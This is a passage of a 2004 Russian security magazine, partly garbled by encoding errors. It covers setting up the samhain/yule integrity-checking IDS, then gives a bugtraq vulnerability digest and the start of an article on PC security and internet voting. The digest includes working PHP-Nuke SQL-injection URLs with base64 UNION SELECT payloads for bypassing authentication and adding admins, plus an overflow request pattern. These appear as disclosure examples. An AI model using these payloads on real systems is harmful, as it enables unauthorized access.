безопасность проверить, что именно ваш ключ использовался, необходимо добавить опцию --with-fingerprint=FINGERPRINT. ! --enable-stealth=xor_val, где xor_val может принимать значение от 128 до 255. Еще одна довольно интересная опция, позволяющая скрыть присутствие samhain в системе. При этом все сообщения в журнале складываются со значением xor_val, не зная которое, будет труднее прочитать записанное. Также журнал можно будет подцепить в конец любого исполняемого файла или рисунка, а конфигурационный файл в режиме стеганографии в файл Postscript. Правда, в последнем случае можно использовать вариант --enable-microstealth=xor_val, когда конфигурационный файл прятать не надо. Плюс дополнительно можно использовать опцию --enable-nocl[=ARG], где ARG – магическое слово, без которого не будет приводиться анализ аргументов командной строки. И наконец, сетевые опции:

может понадобиться при включении возможности подписи своим ключом файлов, используемых samhain. Если используются ключи, сгенерированные ранее, то узнать Key fingerprint можно, введя: # gpg --fingerprint Jaremchuk

И конфигурируем клиента: samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg --with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333 --enable-login-watch --enable-mounts-check ↵ --enable-userfiles --enable-static ↵ --enable-network=client --enable-suidcheck ↵ --with-trusted=0,500 ↵ --with-recipient=sergej@ logserver.com ↵ --enable-xml-log --with-logserver=logserver.com ↵ --with-config-file=REQ_FROM_SERVER/etc/samhainrc ↵ --with-kcheck=/boot/ System.map

! --enable-network=[client|server] – эта опция включает

! ! ! ! !

поддержку сети и в соответствии с выбранной установкой будет скомпилирован клиент или сервер, при этом их необходимо конфигурировать и компилировать отдельно. --with-timeserver=HOST и --with-alttimeserver=HOST – установка адреса для time-сервера основного и альтернативного. --with-logserver=HOST и --with-altlogserver=HOST – указание адреса log-сервера основного и альтернативного. --with-libwrap=PATH – компилирование с поддержкой TCP Wrappers, и контроль доступа к log-серверу при помощи файлов /etc/hosts.allow и /etc/hosts.deny. --enable-udp – включение прослушивания сервером порта 514 для работы по протоколу UDP для получения информации от syslog-клиентов. --with-port=PORT – изменение номера порта для протокола TCP/IP (по умолчанию 49777).

На этом обзор основных опций предлагаю закончить и перейти к практической части, в ходе которой и будут рассмотрены оставшиеся вопросы. Итак, конфигурируем клиента и сервер, вариант использования samhain на одной локальной машине будем считать частным упрощенным случаем настройки клиента. Для начала заводим набор ключей локальных gpg, можно использовать и имеющиеся, но я решил для работы с samhain создать отдельный комплект.

Во время конфигурирования сервера и клиента нарвался на такие ошибки:

Сообщает, что для опции --with-database требуется опция --enable-xml-log, что и добавляем в строку.

Программа не может найти файл libprelude-config, входящий в библиотеку Prelude IDS. У меня он находился в каталоге /usr/local/bin, который не был виден в переменной РАТН, лечится выполнением следующей команды (в bash): # export PATH=$PATH:/usr/local/bin

Встретились незнакомые опции: --enable-static – для статической компиляции, является рекомендуемой с точки зрения безопасности. Строка --with-config-file= REQ_ FROM_SERVER/etc/samhainrc указывает, что конфигурационный файл следует брать с сервера, где он называется /etc/samhainrc, опция --with-recipient позволяет железно вшить в бинарник e-mail получателя отчетов, хотя при желании можно его задать и в конфигурационном файле. В конце конфигурирования программа выводит приблизительно такой отчет:

# /usr/bin/gpg --gen-key

Обратите внимание на строку Key fingerprint, которая

№5(18), май 2004

Обратите внимание на строку с Base key. Это еще один механизм защиты, при котором во всех e-mail сообщениях и логах будут использованы эти два числа, и если на приеме программа обнаружит несоответствие Base key, то такое сообщение будет признано ложным. При каждом конфигурировании она будет разной, можно задать ее самому при помощи опции --enable-base=B1,B2, где B1,B2

55


безопасность целые числа в диапазоне 0...2147483647. Естественно, если используются прекомпилированные пакеты, то эти числа будут для всех одинаковы и, вычислив путем декомпиляции программы их значение, злоумышленник может подделывать сообщения (хотя согласитесь, что для этого нужна и соответствующая подготовка, что не каждый может себе позволить). Во избежание проблем в этом случае разработчики настоятельно рекомендуют добавить ключ к каждому установленному файлу, выполнив: samhain --add-key=key@/usr/local/sbin/samhain

где число (а может и комбинация из различных знаков, я не нашел ограничений) без знака @, и в итоге будет создан еще один файл с префиксом .out, который нужно будет переименовать в оригинальное имя. Пошли дальше. samhain-1.8.3 # make samhain-1.8.3 # make install

При компиляции с опцией --enable-khide обратите внимание на наличие подобных строк, указывающих на месторасположение и наличие соответствующих модулей:

Программа настоятельно предлагает подписать конфигурационный файл. Мы с его настройкой разберемся чуть позже, тогда же и подпишем вручную. После чего для возможности автоматического запуска утилиты выполняем: samhain-1.8.3 # make install-boot ./samhain-install.sh --destdir= --express --verbose install-boot Linux Standard Base system detected /usr/bin/ginstall -c -m 700 init/samhain.startLSB ↵ /etc/init.d/samhain /usr/lib/lsb/install_initd /etc/init.d/samhain installing init scripts completed

Этот шаг нормально отрабатывался на всех системах (проверял на Linux – Redhat, Gentoo и SuSE, а также во FreeBSD), и проблемы с автозагрузкой возникали только изза неправильной настройки или недоступности тех или иных файлов. А если у вас не получилось, то возьмите за шаблон один из предлагаемых вариантов, которые можно найти в подкаталогах init и profiles и заточите под свою систему. И теперь, наконец, сам конфигурационный файл. Называется он /etc/samhainrc (если только не использовалась опция --enable-install-name или --enable-stealth). Внутри имеется готовый шаблон, в котором для большинства случаев достаточно раскомментировать нужные параметры, при этом опции, заданные в строке конфигурации, можно пропускать, а можно дополнить дополнительными значениями. В секциях [Attributes], [LogFiles], [GrowingLogFiles], [IgnoreAll], [IgnoreNone], [ReadOnly], [User0] и [User1] задаются соответствующие политики для указанных внутри файлов и каталогов. При этом возможно два варианта задания путей: ! file= /full/path/to/the/file – для указания непосредственно на файл; ! dir= [recursion depth]/full/path/to/the/dir – для указания на обход каталога, при этом перед путем может ставиться цифра максимальной глубины рекурсии.

56

Далее следует секция [EventSeverity], в которой определена степень серьезности при нарушении описанных выше событий (в отличие от опциональных пунктов, у которых серьезность внесена в саму секцию, здесь они собраны отдельным пунктом). Имеется десять уровней серьезности события: ! none – не обращать внимания, т.е. не регистрировать; ! debug – отладочное сообщение; ! info – информационное сообщение; ! notice – ничего страшного (нормальное состояние); ! warn – предупреждение; ! mark – временная метка; ! err – ошибка; ! crit – критическое событие; ! alert – завершение программы, например по причине фатальной ошибки; ! inet – входящий от клиента. Однако, поскольку важность события – вопрос вкуса, некоторые имеют строгое обращение. При этом mark, alert, inet относятся к предустановленным событиям, остальные уровни можно определять самим для конкретного случая. Итак, пример. [Attributes] # äëÿ ôàéëîâ, óêàçàííûõ â ýòîì ðàçäåëå, áóäóò # êîíòðîëèðîâàòüñÿ àòðèáóòû äîñòóïà file=/etc/mtab file=/etc/ssh_random_seed file=/etc/asound.conf file=/etc/resolv.conf file=/etc/localtime file=/etc/ioctl.save file=/etc [LogFiles] # â ýòèõ ôàéëàõ áóäóò ïðîâåðÿòüñÿ âñå, çà èñêëþ÷åíèåì # âðåìåííûõ ìåòîê äîñòóïà, ðàçìåðà è èçìåíåíèå ñèãíàòóðû file=/var/run/utmp file=/etc/motd [GrowingLogFiles] # òî æå, ÷òî è ïðåäûäóùèé ïóíêò, òîëüêî èçìåíåíèå ðàçìåðà # ôàéëà áóäåò ïðîèãíîðèðîâàíî ëèøü â ñëó÷àå óâåëè÷åíèÿ # ðàçìåðà ôàéëà file=/var/log/warn file=/var/log/messages file=/var/log/wtmp file=/var/log/faillog [IgnoreAll] # âñå èçìåíåíèÿ â ýòèõ ôàéëàõ íå ïîïàäóò â îò÷åò, íî îíè âñå # æå ïðîâåðÿòüñÿ áóäóò, ñþäà ìîæíî ïîìåñòèòü íå íóæäàþùèåñÿ # â ïðîâåðêå ôàéëû ïðè ðåêóðñèâíîì îáõîäå êàòàëîãà file=/etc/resolv.conf.pcmcia.save [IgnoreNone] # äëÿ ýòèõ ôàéëîâ áóäóò âûâîäèòüñÿ â îò÷åò âñå âîçìîæíûå # èçìåíåíèÿ, ðàçðàáîò÷èêè ðåêîìåíäóþò ñîçäàòü ïîäñòàâíîé # ôàéë âðîäå /etc/passwd.bak è îòñëåæèâàòü ïîïûòêó îáðàùåíèÿ # ê íåìó [ReadOnly] # äëÿ ýòèõ ôàéëîâ èãíîðèðóåòñÿ âðåìÿ äîñòóïà dir=/usr/bin dir=/bin dir=3/sbin dir=/usr/sbin dir=/lib dir=3/etc dir=/boot

И две секции [User0] и [User1], в которых по умолчанию отслеживаются и попадают в отчет все модификации. Но для каждой секции возможно переопределение


безопасность по умолчанию выставленных параметров. Это особенно удобно при использовании секций [User0] и [User1], что позволяет создать конфигурацию действительно на все случаи жизни. Для этого в секции [Misc] создаются параметры, соответствующие имени изменяемого поля с префиксом Redef, вроде RedefReadOnly, RedefAttributes, RedefUser0 и указанием параметра со знаком плюс (для добавления), минус (для отмены контроля) и без знака для установки. Параметры могут быть такие: CHK (checksum), LNK (link), HLN (hardlink), INO (inode), USR (user), GRP (group), MTM (mtime), ATM (atime), CTM (ctime), SIZ (size), RDEV (device numbers) и MOD (file mode). Опции, указанные в файле, в случае использования единого централизованного файла будут действительны для всех клиентов, что не всегда нужно. Для возможности задания индивидуальных для некоторого узла или системы параметров возможно использование в разделах любого количества инструкций вида: @HOSTNAME file=/path/to/file @end

SeverityFiles=err SeverityDirs=err # íåïîíÿòíûå èìåíà ôàéëîâ èëè íåäîïóñòèìûé UIDS/GIDS, # êîòîðûé íå ïðèíàäëåæèò íè îäíîìó ïîëüçîâàòåëþ èëè ãðóïïå SeverityNames=info

И наконец, еще два обязательных раздела: Log – описывающий систему регистрации событий и Misc – общие установки. По умолчанию большая часть регистраторов событий отключена, и поэтому нужно внимательно просмотреть эту секцию и выбрать необходимое. Здесь еще важно пару слов добавить о классах сообщений. Серьезность события ранжирует сообщения по их важности, классы относятся к категориям сообщений, призванным уменьшить вывод, например, рассматривая сообщения в некотором контексте (запуск от cron при котором сообщения запуска и остановки могут быть лишними). Сообщения будут регистрироваться, только если их серьезность соответствует заявленной, и класс сообщения имеется в списке. При этом по умолчанию регистрируются все классы, и параметр none отключает регистрацию. С версии 1.8.2 регистрируются следующие классы.

Или обратной конструкции, т.е. для всех, кроме: !@ HOSTNAME file=/path/to/file @end

Или для некоторых систем (uname -srm): $sysname:release:machine # ÷òåíèå, òîëüêî åñëè sysname:release:machine # ñîîòâåòñòâóåò ëîêàëüíîìó êîìïüþòåðó $end !$sysname:release:machine # íàîáîðîò $end

При этом HOSTNAME должно быть полное доменное имя вроде server.com без всяких псевдонимов и IP-адресов. Теперь такая ситуация: некоторые файлы вы хотите проверять, допустим, раз в час, а всю систему только раз в день. Такая ситуация также предусмотрена. Для этого используется конструкция: %SCHEDULE_TWO dir=/check/only/once/per/day !%SCHEDULE_TWO

и в разделе Misc прописываем crontab-подобное задание вроде: FileCheckScheduleTwo=00 * * * *

Теперь пример секции EventSeverity. [EventSeverity] #íèæå óêàçàíû óðîâíè íàðóøåíèÿ ñîîòâåòñòâóþùèõ ïîëèòèê SeverityReadOnly=crit SeverityLogFiles=crit SeverityGrowingLogs=crit SeverityIgnoreNone=crit SeverityAttributes=crit # SeverityIgnoreAll=info # îøèáêè äîñòóïà ê ôàéëàì è êàòàëîãàì

№5(18), май 2004

Пока еще поддерживаются старые классы сообщений, но скорее всего от них нужно потихоньку отвыкать, поэтому и не будем о них говорить. Также по умолчанию в логсервере отключена регистрация клиентских событий на syslog и e-mail, которая, впрочем, там совсем и не к чему. Но если это все-таки необходимо, то для возможности включения в секции [Misc] пропишите параметр UseClient Severity=yes. Возможно использование спецификаторов «*», «!» и «=», которые означают соответственно «все», «все кроме» и «только», а также инструкции LogCalls с указанием системных выводов, которые необходимо регистрировать (только для консоли и syslog): execve, utime, unlink, dup (+ dup2), chdir, open, kill, exit (+ _exit), fork, setuid, setgid, pipe. [Log] # ïðèìåð èñïîëüçîâàíèÿ ñïåöèôèêàòîðîâ # MailSeverity=* # MailSeverity=!warn # MailSeverity==crit # ïîðîãè äëÿ êàæäîãî ðåãèñòðèðóþùåãî óñòðîéñòâà MailSeverity=none PrintSeverity= info LogSeverity= err LogClass=RUN FIL STAMP SyslogSeverity=none ExportSeverity=warn PreludeSeverity=none DatabaseSeverity=err # ñèñòåìíûå âûçîâû LogCalls=open, kill, setuid, setgid [Misc] # ñòàðò â âèäå ïðîöåññà-daemonà Daemon=yes # ìàêñèìàëüíîå âðåìÿ ìåæäó ñîîáùåíèÿìè êëèåíòîâ â ñåêóíäàõ # (òîëüêî äëÿ log-server; ïî óìîë÷àíèþ 86400 ñåê. = 1 äåíü) # SetClientTimeLimit=1800

57


безопасность # âðåìÿ ìåæäó ïðîâåðêàìè ôàéëîâ â ñåêóíäàõ (600) #SetFilecheckTime=1000 #èëè ïðîâåðêà â ñòèëå crontab #FileCheckScheduleOne=00 * * * * # äëÿ ôàéëîâ ðàçäåëà SCHEDULE_TWO #FileCheckScheduleTwo=00 * * * * # ìàêñèìàëüíîå âðåìÿ ìåæäó îòïðàâêàìè ïî÷òû, âñå ñîîáùåíèÿ # êðîìå àâàðèéíûõ ïðè ýòîì áóäóò íàêàïëèâàòüñÿ (86 400 ñåê.) #SetMailTime=43200 # ìàêñèìàëüíàÿ çàäåðæêà âî âíóòðåííåé î÷åðåäè îò 0 äî 127 # (ïî óìîë÷àíèþ 10) #SetMailNum=10 # óñòàíîâêà àäðåñà ïîëó÷àòåëÿ, ïîçâîëÿåòñÿ äî 8 àäðåñîâ # äî 63 ñèìâîëîâ. SetMailAddress=root@localhost # host äëÿ îòïðàâêè ïî÷òû ïî óìîë÷àíèþ ëîêàëüíûé – none # SetMailRelay=relay.yourdomain.com èëè IP-àäðåñ # Äëÿ ïðîâåðêè ìîäèôèêàöèé ìåæäó çàïóñêîì ïðîãðàììû # è âûõîäîì. # SamhainPath=/usr/local/bin/samhain

# # # # # # #

ôîðìàò çàãîëîâêà ñîîáùåíèÿ %S ñåðüåçíîñòü %T timestamp %C class %F èñõîäíûé ôàéë %L èñõîäíàÿ ñòðîêà MessageHeader="%S %T " [EOF]

Хочется отметить, что это далеко не все опции, только основные, остальное в документации. Также samhain может выполнять внешние команды, например для дополнительного форматирования сообщения, отправки SMS или изменения настроек IDS или firewall. Для этого используется отдельная секция [External], описание которой найдете в разделах «Calling external programs» и «External» документации. После создания конфигурационного файла, подписываем его: #

gpg -a --clearsign --not-dash-escaped /etc/samhainrc

# time-ñåðâåð (ïîðò 37/tcp) # SetTimeServer=localhost # log-ñåðâåð # SetLogServer=localhost # timestamp â ìåñòíîì âðåìåíè èëè GMT UseLocalTime=yes

После чего в текущем каталоге появится файл с префиксом .asc, т.е. samhainrc.asc. Для работы переименовываем его:

# # # # #

èíòåðâàë ìåæäó ñîîáùåíèÿìè timestamps, êîòîðûå áóäóò âñòàâëåíû â ñîîáùåíèÿ â òàêîì âèäå MARK : [2004-03-21T19:49:45+0200] msg=<-- TIMESTAMP --> 77B71CEA79D01107AE9FAA66233A059D0FDC3B33FBA74700 SetLoopTime=60

# mv -f /etc/samhainrc.asc

# # # #

ñþäà ìîæíî äîáàâèòü äîâåðåííûõ ïîëüçîâàòåëåé, íå âêëþ÷åííûõ ïðè êîìïèëÿöèè (root è ïîëüçîâàòåëü, îò èìåíè êîòîðîãî âûïîëíÿåòñÿ ïðîãðàììà, âñåãäà äîâåðåííûå) TrustedUser=bin

# cat /etc/samhainrc | gpg --status-fd 1 --verify ↵ --homedir /root/.gnupg --no-tty

/etc/samhainrc

Проверить подпись можно в любое время командой:

# ÷åì çàíèìàåìñÿ: èíèöèàëèçàöèåé áàçû äàííûõ, îáíîâëåíèåì # èëè ïðîâåðêîé ôàéëîâ, åñëè none (ðåæèì ïî óìîë÷àíèþ), # òî êîìàíäà çàäàåòñÿ â ñòðîêå çàïóñêà. init|update|check|none ChecksumTest=check # óñòàíîâêà ãëîáàëüíîãî çíà÷åíèÿ ðåêóðñèè (ìàêñèìóì 99, # ïî óìîë÷àíèþ - 0) SetRecursionLevel=20 # ïðèîðèòåò ïðîöåññà ïðîâåðêè ôàéëîâ #SetNiceLevel=-19..19 # âñå êëèåíòñêèå ñîîáùåíèÿ ïî óìîë÷àíèþ çàïèñûâàþòñÿ â îäèí # log. Îïöèÿ ïîçâîëÿåò èñïîëüçîâàòü èíäèâèäóàëüíûå æóðíàëû #UseSeparateLogs=yes/no # âîçìîæíî ïåðåîïðåäåëåíèå êîíñîëè, â òîì ÷èñëå # è èñïîëüçîâàíèå pipe-êàíàëîâ. #SetConsole=device # èñïîëüçîâàíèå ñîîòâåòñòâóþùèõ àëãîðèòìîâ äëÿ âû÷èñëåíèÿ # çíà÷åíèÿ êîíòðîëüíûõ ñóìì ôàéëîâ, âìåñòî TIGER # (èñïîëüçóéòå îäèí è òîò æå òèï ñèãíàòóðû íà ñåðâåðå # è êëèåíòàõ) #DigestAlgo=MD5 #DigestAlgo=SHA1 # óïðîùåííàÿ ñèãíàòóðà, ìîæåò ïîíàäîáèòüñÿ äëÿ ïîâûøåíèÿ # áûñòðîäåéñòâèÿ, ïîäðîáíåå â ðàçäåëå "Performance tuning" #MACType=HASH-TIGER # íà÷èíàÿ ñ âåðñèè 1.7.0, yule ìîæåò ïîñëå çàïóñêà ïåðåõîäèòü # â chroot (ïîäðîáíåå â äîêóìåíòàöèè) #SetChrootDir=path # îïöèÿ, íåîáõîäèìàÿ äëÿ âêëþ÷åíèÿ ïðîñëóøèâàíèÿ UDP-ïîðòà # log-ñåðâåðîì (ïðè êîìïèëèðîâàíèè ñ îïöèåé --enable-udp) SetUDPActive=yes # åñëè â âàøåì âûâîäå ìíîãî ñîîáùåíèé îá èçìåíåíèè CTIME, # ÷òî ìîæåò ïðîèñõîäèòü ïðè èñïîëüçîâàíèè íåêîòîðûõ ñèñòåì # ðåçåðâèðîâàíèÿ, òî ìîæåò ïîìî÷ü íèæíÿÿ îïöèÿ, îòêëþ÷àþùàÿ # ýòó ïðîâåðêó #RedefReadOnly=-CTM

58

Теперь, когда все готово, можно приступать к созданию базы данных: # /usr/local/sbin/samhain -t init

В результате в каталоге /usr/local/var/lib/samhain/ появится файл samhain_file, который содержит все сигнатуры на момент инициализации, с которыми и будут сравниваться в дальнейшем параметры. Во избежание модификации ее также рекомендуется подписать, схема аналогична предыдущей: # gpg -a --clearsign --not-dash-escaped ↵ /var/lib/samhain/samhain_file # mv /var/lib/samhain/samhain_file.asc ↵ /var/lib/samhain/samhain_file

Проверить соответствие можно командой: samhain -t check


безопасность после чего на регистраторы, описанные в конфигурационном файле, будет поступать информация. В случае глобальных изменений обновить базу можно командой:

После конфигурирования получаем отчет об установках.

samhain -t update

Но наибольшее преимущество достигается при запуске этой утилиты в качестве демона, тогда программа запоминает все изменения и не будет раздражать повторяющимися сообщениями. К тому же только тогда будут в полной мере задействованы все дополнительные возможности в виде проверок на kernel rootkits и пр. Запустить можно тремя способами: при установке Daemon=yes секции Misc и запуска без параметров, программа все остальное, необходимое для работы, возьмет из конфигурационного файла; аналогично программа себя поведет при запуске при помощи стартовых скриптов, расположенных в /etc, например /etc/rc.d/samhain start, и наконец указав, чем ей заниматься в строке запуска: samhain -D -t check

где -D указывает на запуск в виде процесса-демона. Но для нормальной работы в среде клиент-сервер для начала придется установить и настроить сервер yule, иначе клиенты будут ругаться при запуске о том, что не могут найти конфигурационный файл и будут пользоваться локальным.

Компилируем и устанавливаем: samhain-1.8.3 # make samhain-1.8.3 # make install samhain-1.8.3 # make install-boot

Конфигурационный файл сервера yule называется /etc/ yulerc, его структура похожа на samhainrc, за исключением отсутствия секций проверок (остались Misc, Database, Log и External) и добавления секции Clients. Первые секции полностью рассмотрены раннее и хотя есть незначительные отличия (например, TrustedUser не имеет пользователя по умолчанию), но останавливаться на них не будем. Разберем раздел Clients. Вы не ошибетесь, если подумаете, что в ней описана регистрация клиентов. Каждый клиент в файле описан строкой: Client=HOSTNAME_ CLIENT1@salt@verifier. Для того чтобы создать запись для каждого клиента, необходимо выполнить несколько простых шагов: ! выбрать пароль в 16 символов (только знаки 0-9, a-f, A-F). Для автоматического генерирования случайных паролей используйте опцию --gen-password (или -G). # /usr/local/sbin/yule -G 477631269C2CC74B

! на клиенте при помощи samhain_setpwd установите новый пароль (без параметров утилиты выдаст используемые опции). # ./samhain_setpwd samhain new

Конфигурация сервера yule требует меньших опций, т.к. его задача только собирать логи. При необходимости защиты и самого сервера на нем устанавливается и samhain. Я не буду останавливаться подробно, так как многие вопросы аналогичны установке и конфигурированию клиента samhain.

Получившийся файл samhain.new переименовываем в samhain:

samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg --with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333 --enable-static --enable-network=server ↵ --with-database=mysql --with-trusted=0,500 --with-libwrap=/usr/lib/libwrap.a

Чтобы узнать местонахождение библиотеки libwrap, используем следующую команду:

477631269C2CC74B

# cp /usr/local/sbin/samhain.new /usr/local/sbin/samhain

!

# whereis libwrap libwrap: /usr/lib/libwrap.a

Впрочем, эту операцию можно проделывать и на сервере, копируя затем файлы samhain.new на клиентские компьютеры при помощи, например, ssh. на сервере создаем комбинацию для регистрации клиента: #

/usr/local/sbin/yule -P 477631269C2CC74B

И еще небольшое примечание, возможно использование единой базы для всех клиентов. Для ее активации требуется использование примерно такой опции: --with-data-file=REQ_FROM_SERVER/var/lib/samhain/data.samhain

Но как мне кажется, это не во всех случаях приемлемо и удобно, в том числе могут возникнуть и проблемы безопасности, кому интересно, детали, как всегда, в документации.

№5(18), май 2004

!

Заменяем HOSTNAME на полное доменное имя клиента вида client.mydomain.com и заносим эту строку в секцию Clients. Повторяем эту процедуру для каждого клиента.

59


безопасность После запуска сервера и клиентов последние начинают устанавливать соединение с сервером. Проблемы при работе возникали в основном из-за неправильной настройки сети, служба DNS не могла определить имя (лучше прописать в /etc/hosts, в документации показано, как правильно это сделать), при компиляции с поддержкой libwrap не прописал клиентов в файле /etc/hosts.allow. В последней версии появился документ, описывающий основные проблемы, возникающие при взаимодействии клиентов и сервера и пути их решения – HOWTO-client+server-troubleshooting.html. Советую ознакомиться. И в завершение приведу примеры сообщений, выдаваемых Samhain, которые в особенном комментарии не нуждаются.

После чего, используя опции команды configure, поправляем. В зависимости от того как используется PHP, как программа CGI или модуль apache, Beltane должен быть сконфигурирован с различными параметрами для сценария ./configure. Основными опциями являются: ! --with-php-dir=DIR, ! --with-php-extension=EXT, ! --enable-mod-php, ! --with-user=USERNAME. В результате в корневом каталоге веб-сервера должен появиться подкаталог (по умолчанию php), содержащий рабочие файлы. И теперь, введя в строке браузера путь к этим данным, можно управлять информацией и настройками. По умолчанию используется логин/пароль rainer/ wichmann (рис. 3), его необходимо обязательно изменить через веб-интерфейс или воспользовавшись утилитой makepasswd.pl.

Пояснения, наверное, требуют разве что конструкции вида <POLICY [ReadOnly] C--I----TS>. Все просто, здесь указана действующая политика и параметры, которые изменились со времени последней проверки. Их расшифровка такая: ! «C» – контрольная сумма, ! «L» – мягкие ссылки, ! «D» – номер устройства (device number), ! «I» – inode, ! «H» – количество жестких ссылок «hardlinks», ! «M» – режим «mode», ! «U» – владелец «user», ! «G» – группа «group», ! «T» – время «time» (любое), ! «S» – указывает на изменившийся размер «size» файла. И пару слов о Beltane (http://www.la-samhna.de/beltane/ index.html), представляющей собой консоль управления и получения информации от клиентов, доступную через веб-интерфейс. Работает в клиент/серверной среде с поддержкой регистрации на SQL базу данных. Для работы необходим веб-сервер Apache, PHP. На клиентской стороне требуется веб-браузер с поддержкой Javascript и включенным Cookies. На сайте доступны две версии Beltane: свободная 1.0.4 и платная 2.x, имеющая ряд дополнительных возможностей, для пароля доступа к которой потребуется выложить 25 Euro. Документация находится в архиве. Распаковываем, конфигурируем и в конце проверяем правильность установок.

60

Мы не рассмотрели еще много вопросов, например, развертывание удаленных конфигураций, позволяющих в полуавтоматическом режиме развернуть систему для большого числа компьютеров, включая сервер. Подробно этот процесс описан в разделе «Deployment to remote hosts». Не сказано совсем ничего про установку и настройку под Windows NT/2000/XP, применение стеганографии. Но описанного в статье достаточно для базовой установки и настройки, а главное для понимания возможностей. При необходимости оставшиеся вопросы будут освещены в следующий раз.


bugtraq Sql-инъекция и межсайтовый скриптинг в PHP-Nuke Программа: PHP-Nuke 6.0-7.2. Опасность: Высокая. Описание: Несколько уязвимостей обнаружено в PHPNuke. Удаленный пользователь может внедрить произвольные SQL-команды. Злонамеренный пользователь может выполнить XSS-нападение. 1. Данные, представленные пользователем к параметру «user», base64 декодируются перед использованием в SQLзапросе. В результате злонамеренный пользователь может внедрить символы, которые обычно фильтруются, чтобы манипулировать SQL-запросами. Пример (позволяет обойти процедуру аутентификации и читать приватные сообщения): http://localhost/nuke71/modules.php? name=Private_Messages&file=index&folder=inbox&mode=read&p= ↵ 1&user= ↵ eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

2.Уязвимость, подобная 1, обнаружена в параметре «admin». Пример (удаленный пользователь может выполнять некоторые административные функции, типа добавления пользователя): http://localhost/nuke71/admin.php? op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd= ↵ coolpass&add_email=foo@bar.com ↵ &add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

Также сообщаетя об XSS-уязвимости в некоторых используемых темах. URL производителя: http://phpnuke.org. Решение: Изучите исходный код и внесите соответствующие исправления.

Удаленный отказ в обслуживании Kerio WinRoute Firewall Программа: Kerio WinRoute Firewall до версии 5.1.10. Опасность: Низкая. Описание: Уязвимость обнаружена в Kerio WinRoute Firewall. Уязвимость в работке HTTP-заголовков может привезти к аварийному завершению работу программы. Дополнительные подробности не раскрываются. URL производителя: http://www.kerio.com/kms_home.html. Решение: Установите обновленную версию программы (5.1.10): http://www.kerio.com/kwf_download.htm

Создание произвольных файлов на целевой системе в CVS Программа: CVS 1.11.15. Опасность: Средняя. Описание: Две уязвимости обнаружены в CVS. Уязвимость обнаружена в обработке имени пути в RCS diff-файлах. Когда целевой пользователь выполняет CVS checkout или обновление через сеть, то клиент целевого пользователя принимает абсолютные пути. В результате удаленный сервер может создать произвольные файлы на системе подключенного пользователя. Также сообщается, что удаленный авторизованный пользователь может просмотреть содержание RCS-архивных файлов на CVS-сервере. URL производителя: http://www.cvshome.org. Решение: Установите последнюю версию программы: http://ccvs.cvshome.org/servlets/ProjectDownloadList.

№5(18), май 2004

Переполнение буфера в Panda ActiveScan Программа: Panda ActiveScan 5.0 Опасность: Высокая. Описание: Переполнение буфера обнаружено в Panda ActiveScan. Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение буфера обнаружено в ascontrol.dll. Если целевой пользователь предварительно запустил Panda ActiveScan, то удаленный пользователь может сконструировать HMTL, использующий ASControl.ReportHebrew.1-объект со специально обработанным значением «Internacional», чтобы вызвать переполнение буфера и выполнить произвольный код на системе. Решение: Установите обновленную версию уязвимой компоненты. Обновленная версия будет установленна автоматически при следующем выполнении on-line-сканирования.

Удаленное переполнение буфера в обработчике HTML-сообщений в IMail Express Программа: IMail Express до версии 8.05. Опасность: Критическая. Описание: Уязвимость обнаружена в IMail Express. Злонамеренный пользователь может скомпрометировать уязвимую систему. Удаленный пользователь может представить специально обработанное HTML-сообщение, содержащее тэг text длиннее 1024 байт, чтобы вызвать переполнение буфера в обработчике HTML-сообщений в Web Messaging. Уязвимость может использоваться для выполнения произвольного кода. URL производителя: http://www.IpSwitch.com. Решение: Установите обновленную версию программы: ftp://ftp.ipswitch.com/install/imailex.exe.

Удаленное выполнение произвольного кода в HAHTsite Scenario Server Программа: HAHTsite Scenario Server 5.1 Patches 1 – 6. Опасность: Высокая. Описание: Уязвимость обнаружена в HAHTsite Scenario Server. Удаленный пользователь может выполнить произвольный код на целевой системе. Удаленный пользователь может представить специально обработанный запрос с чрезмерно длинным именем проекта, чтобы вызвать переполнение буфера и перезаписать регистр EIP и выполнить произвольный код на системе с SYSTEM-привилегиями. Пример: http://[hostname]/[cgialias]/hsrun.exe/[ServerGroupName]/ ↵ [ServerGroupName]/[VeryLongProjectName].htx;start=[PageName]

URL производителя: http://www.haht.com. Решение: Установите обновленную версию программы: ftp://ftp.haht.com/pub/support/fixes/hs51/build91/ox79989_ buffer_overrun_fix.zip. Составил Александр Антипов

61


безопасность

ЧТО ЖДЕТ ПЕРСОНАЛЬНЫЕ КОМПЬЮТЕРЫ ЗАВТРА?

МАКСИМ КОСТЫШИН В январе 2004 года группа экспертов по компьютерной безопасности SPRG (the Security Peer Review Group) опубликовала отчет с итогами анализа защищенности экспериментальной системы голосования SERVE (Secure Electronic Registration and Voting Experiment). Основная цель программы, в рамках которой разрабатывалась система SERVE, заключалась в предоставлении гражданам США, находящимся за пределами страны, а также военным, морякам и другим категориям граждан, которые по роду своей деятельности большую часть времени находятся в движении, возможности выполнения процедуры заочного голосования с использованием Интернета на предварительных и основных выборах руководства страны. Результаты исследований показали настолько высо-

62

кую степень различного рода рисков при использовании персональных компьютеров и Интернета, что эксперты SPRG настойчиво рекомендовали заморозить все работы в этом направлении и использовать альтернативную систему, в которой электронная часть системы голосования должна была представлять собой умный принтер и не более, на основе киосков, расположенных в консульствах и на военных базах по всему миру. Киоски, согласно требованиям специалистов, не должны подключаться к Интернету. Весь обмен данными, обновление программного обеспечения рекомендовано было выполнять с использованием твердых носителей, а бюллетени в бумажном виде пересылать для окончательного подсчета в родные округа.


безопасность Основными невозможными для решения в настоящее время проблемами были названы: ! текущая организация регулирования работы Интернета, а также использование устаревших протоколов и технологических решений, которые не удовлетворяют необходимому уровню безопасности; ! отсутствие мер в рамках существующей архитектуры персональных компьютеров, позволяющих обеспечить гарантированную защиту конфиденциальных данных своих владельцев и самих PC от различного рода атак. Интернет-голосование является одним из компонентов электронного правительства, а проблемы, которые в очередной раз осветили специалисты SPRG, весьма актуальны для любой составляющей. Поэтому устранение основных препятствий может существенно продвинуть общество в развитии технологий электронного правительства и электронной коммерции, повысить уровень доверия рядовых пользователей к услугам, предоставляемым с использованием Интернета. Если остановиться на первой проблеме, то в последнее время в прессе появилось много информации 